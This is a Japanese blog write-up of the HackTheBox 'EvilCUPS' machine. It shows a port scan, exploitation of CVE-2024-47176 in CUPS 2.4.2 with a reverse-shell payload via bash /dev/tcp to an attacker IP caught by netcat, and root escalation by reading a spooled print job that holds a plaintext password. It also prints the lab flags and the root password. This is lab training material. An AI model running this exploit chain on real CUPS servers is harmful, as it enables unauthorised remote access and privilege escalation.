1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】EvilCUPS:Writeup

Posted at

概要

HackTheBox「EvilCUPS」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sVC -T4 -A --min-rate 5000 -p- 10.10.11.40 -oN nmap_result
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 9.2p1
631 ipp CUPS 2.4

631ポートにアクセスします。

631 home.jpg

CUPS 2.4.2の脆弱性を検索するとCVE-2024-47176が見つかりました。

この脆弱性を悪用することでRCEができるようです。
攻撃には下記リポジトリを使用します。

Netcatでリッスンします。

$ nc -lnvp 1234                                          
listening on [any] 1234 ...

PoCを実行します。

$ python evilcups.py 10.10.14.84 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.14.84/1234 0>&1"'

/printersを見るとプリンターが追加されています。

prints.jpg

追加されたプリンターでPrint Test Pageをクリックするとリバースシェルが張れます。

print test page.jpg

$ nc -lnvp 1234                                          
listening on [any] 1234 ...
connect to [10.10.14.84] from (UNKNOWN) [10.10.11.40] 47826
bash: cannot set terminal process group (1789): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/htb/user.txtからユーザーフラグを入手できました。

/home/htb/user.txt
a1e37aa0091c96493b2f015e6042c322

Root Flag

元々ターゲットの環境にはCanon_MB2300_seriesというプリンターがありました。
ドキュメントによると印刷ジョブファイルは/var/spool/cupsに保存されるようです。

また、データファイルがd00001-001,d99999-001,d100000-001のような形式で保存されることも分かりました。

/var/spool/cupsは権限がないのでディレクトリの中を見られませんでした。

lp@evilcups:/var/spool/cups$ ls -la
ls -la
ls: cannot open directory '.': Permission denied

lp@evilcups:/var/spool/cups$ ls -la ../
ls -la ../
total 24
drwxr-xr-x  6 root root 4096 Sep 30 19:55 .
drwxr-xr-x 11 root root 4096 Sep 28 10:02 ..
drwxr-xr-x  3 root root 4096 Sep 28 10:02 cron
drwx--x---  3 root lp   4096 Oct  4 03:38 cups
drwxr-xr-x  2 lp   lp   4096 Sep 30 19:55 lpd
lrwxrwxrwx  1 root root    7 Sep 27 21:03 mail -> ../mail
drwx------  2 root root 4096 Feb 22  2023 rsyslog

元々のプリンターには完了したジョブID-1があります。
なのでファイル名がd00001-001になると予測できます。

show active job.jpg

なので/var/spool/cups/d00001-001ファイルを読み取ります。

(省略)

_S
18 36 translate
/pagenum 1 def
/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S

(省略)

出力結果からパスワードらしき文字列を発見できたのでrootアカウントへログインを試みると成功しました。

$ su root
su root
Password: Br3@k-G!@ss-r00t-evilcups

root@evilcups:/var/spool/cups#

/root/root.txtからルートフラグを入手できます。

/root/root.txt
b22dc8db095caa23bb8883dd4153cbb4
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?